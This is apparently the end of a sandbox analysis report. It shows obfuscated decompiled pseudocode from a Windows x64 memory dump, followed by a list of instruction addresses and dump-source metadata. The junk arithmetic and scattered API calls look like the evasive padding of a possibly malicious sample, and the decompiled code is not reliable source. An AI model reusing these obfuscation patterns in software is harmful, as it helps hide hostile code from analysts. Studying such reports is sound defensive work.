				if (_t347 >= 0) goto 0xb1ca7e07;
				_t524 = (_t521 - 0x0000002d | _t707) + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t347 >= 0) goto 0xb1ca7e39;
				if ((E00007FF67FF6B1D3ACF4(_t524) & r14d) >= 0) goto 0xb1ca7e25;
				if (0x4d != 0x30) goto 0xb1ca7e30;
				GetTickCount();
				 *0xb1decf60 = r15d;
				goto 0xb1ca7e8a;
				 *0xb1decf60 = 0x53;
				E00007FF67FF6B1D3ACF4((_t524 - 0x0000002d | _t707) + 0x2d);
				if (0x4d - 0x30 >= 0) goto 0xb1ca7e53;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(((_t524 - 0x0000002d | _t707) + 0x0000002d - 0x0000002d | _t707) + 0x2d);
				if (0x4d - 0x79 >= 0) goto 0xb1ca7e72;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4((((_t524 - 0x0000002d | _t707) + 0x0000002d - 0x0000002d | _t707) + 0x0000002d - 0x0000002d | _t707) + 0x2d);
				if (0x4d - 0x79 >= 0) goto 0xb1ca7e9a;
				 *0xb1decf60 = 0;
				asm("adc al, 0x0");
				if (0x15 - 0x18 < 0) goto 0xb1ca7eae;
				E00007FF67FF6B1D3ACF4(0x59df3f7100000042);
				if (0x15 - 0x18 >= 0) goto 0xb1ca7ecb;
				_t541 = (0x50ac058900000015 | _t707) + 0x2d;
				if (0x15 - 0x4e < 0) goto 0xb1ca7f1b;
				E00007FF67FF6B1D3ACF4(_t541);
				if (0x15 - 0x4e >= 0) goto 0xb1ca7ee0;
				_t354 = (_t541 - 0x0000002d | _t707) + 0x2d - 0x65;
				if (_t354 > 0) goto 0xb1ca7f1b;
				if (_t354 == 0) goto 0xb1ca7f62;
				asm("stc");
				 *0xb1decf60 = 0x68;
				E00007FF67FF6B1D3ACF4(0x68);
				if (_t354 >= 0) goto 0xb1ca7f07;
				_t548 = (0xef508b1b0000003b | _t707) + 0x2d;
				 *0xb1decf60 = 0;
				goto 0xb1ca80e7;
				E00007FF67FF6B1D3ACF4(_t548);
				if (0x68 - 0x65 >= 0) goto 0xb1ca7f2b;
				_t551 = (_t548 - 0x0000002d | _t707) + 0x2d;
				if (0x68 - 0x24 < 0) goto 0xb1ca80e7;
				if ((E00007FF67FF6B1D3ACF4(_t551) & r14d) >= 0) goto 0xb1ca7f44;
				_t554 = (_t551 - 0x0000002d | _t707) + 0x2d;
				if (0x68 - 0x15 < 0) goto 0xb1ca7f84;
				if ((E00007FF67FF6B1D3ACF4(_t554) & r14d) >= 0) goto 0xb1ca7f59;
				_t557 = (_t554 - 0x0000002d | _t707) + 0x2d;
				if (0x68 == 0x5e) goto 0xb1ca7f84;
				GetWindowTextLengthW(??);
				if ((E00007FF67FF6B1D3ACF4(_t557) & r14d) >= 0) goto 0xb1ca7f76;
				_t560 = (_t557 - 0x0000002d | _t707) + 0x2d;
				goto 0xb1ca80da;
				E00007FF67FF6B1D3ACF4(_t560);
				if (0x68 - 0x15 >= 0) goto 0xb1ca7f94;
				_t563 = (_t560 - 0x0000002d | _t707) + 0x2d;
				if (0x68 - 0x63 < 0) goto 0xb1ca7fb2;
				if ((E00007FF67FF6B1D3ACF4(_t563) & r14d) >= 0) goto 0xb1ca7fa9;
				_t566 = (_t563 - 0x0000002d | _t707) + 0x2d;
				if (0x68 - 0x13 <= 0) goto 0xb1ca80c1;
				E00007FF67FF6B1D3ACF4(_t566);
				if (0x68 - 0x13 >= 0) goto 0xb1ca7fc2;
				_t569 = (_t566 - 0x0000002d | _t707) + 0x2d;
				asm("movsd xmm6, [0x1169fe]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (0x68 - 0x13 < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t569) & r14d) >= 0) goto 0xb1ca7fec;
				_t572 = (_t569 - 0x0000002d | _t707) + 0x2d;
				if (0x68 - 0x1e < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t572) & r14d) >= 0) goto 0xb1ca8005;
				_t575 = (_t572 - 0x0000002d | _t707) + 0x2d;
				if (0x68 - 0x78 <= 0) goto 0xb1ca8031;
				GetCurrentProcess();
				if ((E00007FF67FF6B1D3ACF4(_t575) & r14d) >= 0) goto 0xb1ca8020;
				_t578 = (_t575 - 0x0000002d | _t707) + 0x2d;
				 *0xb1decf60 = 0;
				goto 0xb1ca8090;
				E00007FF67FF6B1D3ACF4(_t578);
				_t372 = E00007FF67FF6B1D3ACF4(_t578) & r14d;
				if (_t372 >= 0) goto 0xb1ca8046;
				_t581 = (_t578 - 0x0000002d | _t707) + 0x2d;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t372 != 0) goto 0xb1ca805e;
				if (_t372 == 0) goto 0xb1ca8064;
				GetDoubleClickTime();
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(_t581);
				if (_t372 >= 0) goto 0xb1ca807a;
				_t584 = (_t581 - 0x0000002d | _t707) + 0x2d;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t584);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80a0;
				_t587 = (_t584 - 0x0000002d | _t707) + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x68;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t587);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80d1;
				_t590 = (_t587 - 0x0000002d | _t707) + 0x2d;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t590);
				if (0x68 - 0x13 >= 0) goto 0xb1ca80f7;
				_t593 = (_t590 - 0x0000002d | _t707) + 0x2d;
				if (0x68 - 0x3f >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(_t593);
				if (0x68 - 0x3f >= 0) goto 0xb1ca810c;
				_t596 = (_t593 - 0x0000002d | _t707) + 0x2d;
				_t295 = r15d & 0xffffff00 | 0x00000068 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t596) & r14d) >= 0) goto 0xb1ca812d;
				_t599 = (_t596 - 0x0000002d | _t707) + 0x2d;
				if (0x68 - 0x18 >= 0) goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t599) & r14d) >= 0) goto 0xb1ca8142;
				_t602 = (_t599 - 0x0000002d | _t707) + 0x2d;
				if (0x68 != 0x7e) goto 0xb1ca8168;
				_t195 = E00007FF67FF6B1D3ACF4(_t602);
				_t196 = _t195 & r14d;
				if ((_t195 & r14d) >= 0) goto 0xb1ca8157;
				_t605 = (_t602 - 0x0000002d | _t707) + 0x2d;
				r8d = r15d;
				r8b = _t605 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d =  *0x93339E80000004D;
				r8d = _a144;
				E00007FF67FF6B1CB41F0(_t196, _t306, 0x126552d000000039,  *0x93339E8000000BD, 0x8000007f); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t295, 0x126552d000000039, 0, _t605, _t724), _t306,  *((intOrPtr*)(0x93339e8000000bd)));
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(_t605);
				E00007FF67FF6B1D3ACF4(_t605);
				asm("push es");
				_t608 = (_t605 - 0x0000002d | 0xffffff80) + 0x2d;
				asm("movsd xmm6, [0x11694a]");
				_t383 = _t608 - 5;
				if (_t383 != 0) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(_t608);
				if (_t383 >= 0) goto 0xb1ca81e3;
				_t611 = (_t608 - 0x0000002d | 0xffffff80) + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t383 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(_t611);
				if (_t383 >= 0) goto 0xb1ca820e;
				_t614 = (_t611 - 0x0000002d | 0xffffff80) + 0x2d;
				if (_t614 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(_t614);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				_t617 = (_t614 - 0x0000002d | 0xffffff80) + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t617;
				 *0xb1decf60 = 0x2d;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t386 = r12d - 0x42;
				if (_t386 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(_t617);
				if (_t386 >= 0) goto 0xb1ca8274;
				_t620 = (_t617 - 0x0000002d | 0xffffff80) + 0x2d;
				_t387 = _t620 - 0x2e;
				if (_t387 > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t620);
				if (_t387 >= 0) goto 0xb1ca828f;
				_t297 = r15d & 0xffffff00 | (_t620 - 0x0000002d | 0xffffff80) + 0x0000002d - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t217 = E00007FF67FF6B1D3ACF4((_t620 - 0x0000002d | 0xffffff80) + 0x2d);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t297;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t297;
				 *0x6b =  *0x6b + _t217;
				_t625 = _a152 + 0x2d;
				_a152 = _t625;
				 *0xb1decf60 = _t625;
				_t389 = _t625 - 0x1f;
				if (_t389 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = 0x2d;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t625 =  *_t625 | _t625;
				if (_t389 >= 0) goto 0xb1ca8308;
				_t628 = (_t625 - 0x0000002d | 0xffffff80) + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t389 != 0) goto 0xb1ca8318;
				if (_t389 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t628) & r14d) >= 0) goto 0xb1ca8333;
				_t631 = (_t628 - 0x0000002d | 0xffffff80) + 0x2d;
				if (_t631 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t631) & r14d) >= 0) goto 0xb1ca835e;
				_t634 = (_t631 - 0x0000002d | 0xffffff80) + 0x2d;
				if (_t634 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t634);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t637 = (_t634 - 0x0000002d | 0xffffff80) + 0x2d;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t637);
				if (_t637 - 0x34 >= 0) goto 0xb1ca8397;
				_t640 = (_t637 - 0x0000002d | 0xffffff80) + 0x2d;
				_t397 = _t640 - 0x1f;
				if (_t397 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t640);
				if (_t397 >= 0) goto 0xb1ca83ac;
				_t398 = (_t640 - 0x0000002d | 0xffffff80) + 0x2d - 4;
				if (_t398 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t640 - 0x0000002d | 0xffffff80) + 0x2d);
				if (_t398 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t400 = r13d - 0x54;
				if (_t400 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t400 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = 0x2d;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = 0x2d;
				IsIconic(??);
				asm("adc al, 0x0");
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(0x546a3f710000007d);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t260 = E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = 0x7ff727c9ffffffd0 + _t718 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t260 & r14d;
			}

0x7ff6b1ca796e
0x7ff6b1ca7974
0x7ff6b1ca7976
0x7ff6b1ca7981
0x7ff6b1ca798a
0x7ff6b1ca799d
0x7ff6b1ca79a3
0x7ff6b1ca79af
0x7ff6b1ca79ba
0x7ff6b1ca79bd
0x7ff6b1ca79be
0x7ff6b1ca79c3
0x7ff6b1ca79c8
0x7ff6b1ca79ce
0x7ff6b1ca79d3
0x7ff6b1ca79d8
0x7ff6b1ca79de
0x7ff6b1ca79e3
0x7ff6b1ca79e8
0x7ff6b1ca79ed
0x7ff6b1ca79f5
0x7ff6b1ca79f7
0x7ff6b1ca79fc
0x7ff6b1ca7a06
0x7ff6b1ca7a0e
0x7ff6b1ca7a11
0x7ff6b1ca7a13
0x7ff6b1ca7a19
0x7ff6b1ca7a27
0x7ff6b1ca7a28
0x7ff6b1ca7a2c
0x7ff6b1ca7a32
0x7ff6b1ca7a39
0x7ff6b1ca7a3f
0x7ff6b1ca7a41
0x7ff6b1ca7a44
0x7ff6b1ca7a46
0x7ff6b1ca7a4f
0x7ff6b1ca7a55
0x7ff6b1ca7a57
0x7ff6b1ca7a5a
0x7ff6b1ca7a65
0x7ff6b1ca7a67
0x7ff6b1ca7a6e
0x7ff6b1ca7a76
0x7ff6b1ca7a7c
0x7ff6b1ca7a84
0x7ff6b1ca7a8c
0x7ff6b1ca7a94
0x7ff6b1ca7a9c
0x7ff6b1ca7aa6
0x7ff6b1ca7ab5
0x7ff6b1ca7ab6
0x7ff6b1ca7ab7
0x7ff6b1ca7ab9
0x7ff6b1ca7ac0
0x7ff6b1ca7ac6
0x7ff6b1ca7acb
0x7ff6b1ca7ad0
0x7ff6b1ca7adb
0x7ff6b1ca7add
0x7ff6b1ca7adf
0x7ff6b1ca7ae4
0x7ff6b1ca7ae6
0x7ff6b1ca7ae9
0x7ff6b1ca7aeb
0x7ff6b1ca7af2
0x7ff6b1ca7afa
0x7ff6b1ca7afd
0x7ff6b1ca7aff
0x7ff6b1ca7b06
0x7ff6b1ca7b17
0x7ff6b1ca7b1d
0x7ff6b1ca7b1f
0x7ff6b1ca7b25
0x7ff6b1ca7b2d
0x7ff6b1ca7b36
0x7ff6b1ca7b38
0x7ff6b1ca7b4b
0x7ff6b1ca7b52
0x7ff6b1ca7b54
0x7ff6b1ca7b5a
0x7ff6b1ca7b61
0x7ff6b1ca7b67
0x7ff6b1ca7b69
0x7ff6b1ca7b71
0x7ff6b1ca7b75
0x7ff6b1ca7b79
0x7ff6b1ca7b7d
0x7ff6b1ca7b7f
0x7ff6b1ca7b86
0x7ff6b1ca7b8c
0x7ff6b1ca7b91
0x7ff6b1ca7b93
0x7ff6b1ca7b9a
0x7ff6b1ca7ba0
0x7ff6b1ca7bab
0x7ff6b1ca7bb1
0x7ff6b1ca7bb3
0x7ff6b1ca7bba
0x7ff6b1ca7bc0
0x7ff6b1ca7bc4
0x7ff6b1ca7bc6
0x7ff6b1ca7bcc
0x7ff6b1ca7bd2
0x7ff6b1ca7bd9
0x7ff6b1ca7bdf
0x7ff6b1ca7be1
0x7ff6b1ca7be9
0x7ff6b1ca7bed
0x7ff6b1ca7bf1
0x7ff6b1ca7bf5
0x7ff6b1ca7bfb
0x7ff6b1ca7c02
0x7ff6b1ca7c08
0x7ff6b1ca7c0d
0x7ff6b1ca7c13
0x7ff6b1ca7c1a
0x7ff6b1ca7c20
0x7ff6b1ca7c25
0x7ff6b1ca7c27
0x7ff6b1ca7c2e
0x7ff6b1ca7c34
0x7ff6b1ca7c39
0x7ff6b1ca7c3b
0x7ff6b1ca7c42
0x7ff6b1ca7c48
0x7ff6b1ca7c53
0x7ff6b1ca7c55
0x7ff6b1ca7c5c
0x7ff6b1ca7c62
0x7ff6b1ca7c67
0x7ff6b1ca7c69
0x7ff6b1ca7c6e
0x7ff6b1ca7c70
0x7ff6b1ca7c76
0x7ff6b1ca7c78
0x7ff6b1ca7c7c
0x7ff6b1ca7c80
0x7ff6b1ca7c88
0x7ff6b1ca7c8a
0x7ff6b1ca7c90
0x7ff6b1ca7c97
0x7ff6b1ca7c9d
0x7ff6b1ca7ca8
0x7ff6b1ca7cae
0x7ff6b1ca7cb5
0x7ff6b1ca7cb8
0x7ff6b1ca7cbc
0x7ff6b1ca7cc2
0x7ff6b1ca7cc7
0x7ff6b1ca7ccc
0x7ff6b1ca7cd2
0x7ff6b1ca7cdd
0x7ff6b1ca7ce3
0x7ff6b1ca7ceb
0x7ff6b1ca7cf1
0x7ff6b1ca7cf3
0x7ff6b1ca7cfa
0x7ff6b1ca7cfe
0x7ff6b1ca7d05
0x7ff6b1ca7d0b
0x7ff6b1ca7d0d
0x7ff6b1ca7d12
0x7ff6b1ca7d15
0x7ff6b1ca7d17
0x7ff6b1ca7d1d
0x7ff6b1ca7d22
0x7ff6b1ca7d2c
0x7ff6b1ca7d32
0x7ff6b1ca7d37
0x7ff6b1ca7d41
0x7ff6b1ca7d4c
0x7ff6b1ca7d52
0x7ff6b1ca7d62
0x7ff6b1ca7d64
0x7ff6b1ca7d6a
0x7ff6b1ca7d72
0x7ff6b1ca7d78
0x7ff6b1ca7d7a
0x7ff6b1ca7d82
0x7ff6b1ca7d86
0x7ff6b1ca7d8a
0x7ff6b1ca7d8e
0x7ff6b1ca7d90
0x7ff6b1ca7d98
0x7ff6b1ca7d9e
0x7ff6b1ca7da3
0x7ff6b1ca7da7
0x7ff6b1ca7dad
0x7ff6b1ca7db5
0x7ff6b1ca7dbb
0x7ff6b1ca7dbd
0x7ff6b1ca7dc4
0x7ff6b1ca7dc8
0x7ff6b1ca7dcf
0x7ff6b1ca7dd5
0x7ff6b1ca7dda
0x7ff6b1ca7de2
0x7ff6b1ca7de8
0x7ff6b1ca7dea
0x7ff6b1ca7df5
0x7ff6b1ca7dfc
0x7ff6b1ca7dff
0x7ff6b1ca7e05
0x7ff6b1ca7e07
0x7ff6b1ca7e0b
0x7ff6b1ca7e0f
0x7ff6b1ca7e13
0x7ff6b1ca7e1d
0x7ff6b1ca7e28
0x7ff6b1ca7e2a
0x7ff6b1ca7e30
0x7ff6b1ca7e37
0x7ff6b1ca7e39
0x7ff6b1ca7e43
0x7ff6b1ca7e4b
0x7ff6b1ca7e5c
0x7ff6b1ca7e62
0x7ff6b1ca7e6a
0x7ff6b1ca7e72
0x7ff6b1ca7e79
0x7ff6b1ca7e7d
0x7ff6b1ca7e84
0x7ff6b1ca7e8a
0x7ff6b1ca7e92
0x7ff6b1ca7ea3
0x7ff6b1ca7eb2
0x7ff6b1ca7eb9
0x7ff6b1ca7ebb
0x7ff6b1ca7ec3
0x7ff6b1ca7ec9
0x7ff6b1ca7ece
0x7ff6b1ca7ed0
0x7ff6b1ca7ed8
0x7ff6b1ca7ee0
0x7ff6b1ca7ee3
0x7ff6b1ca7eee
0x7ff6b1ca7ef0
0x7ff6b1ca7ef1
0x7ff6b1ca7ef7
0x7ff6b1ca7eff
0x7ff6b1ca7f05
0x7ff6b1ca7f10
0x7ff6b1ca7f16
0x7ff6b1ca7f1b
0x7ff6b1ca7f23
0x7ff6b1ca7f29
0x7ff6b1ca7f2e
0x7ff6b1ca7f3c
0x7ff6b1ca7f42
0x7ff6b1ca7f47
0x7ff6b1ca7f51
0x7ff6b1ca7f57
0x7ff6b1ca7f5c
0x7ff6b1ca7f60
0x7ff6b1ca7f6e
0x7ff6b1ca7f74
0x7ff6b1ca7f7f
0x7ff6b1ca7f84
0x7ff6b1ca7f8c
0x7ff6b1ca7f92
0x7ff6b1ca7f97
0x7ff6b1ca7fa1
0x7ff6b1ca7fa7
0x7ff6b1ca7fac
0x7ff6b1ca7fb2
0x7ff6b1ca7fba
0x7ff6b1ca7fc0
0x7ff6b1ca7fc2
0x7ff6b1ca7fca
0x7ff6b1ca7fce
0x7ff6b1ca7fd2
0x7ff6b1ca7fd6
0x7ff6b1ca7fe4
0x7ff6b1ca7fea
0x7ff6b1ca7fef
0x7ff6b1ca7ffd
0x7ff6b1ca8003
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8018
0x7ff6b1ca801e
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806a
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8090
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c1
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80e7
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80fa
0x7ff6b1ca80fc
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca8130
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca820c
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

Strings

7, xrefs: 00007FF6B1CA79C8

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

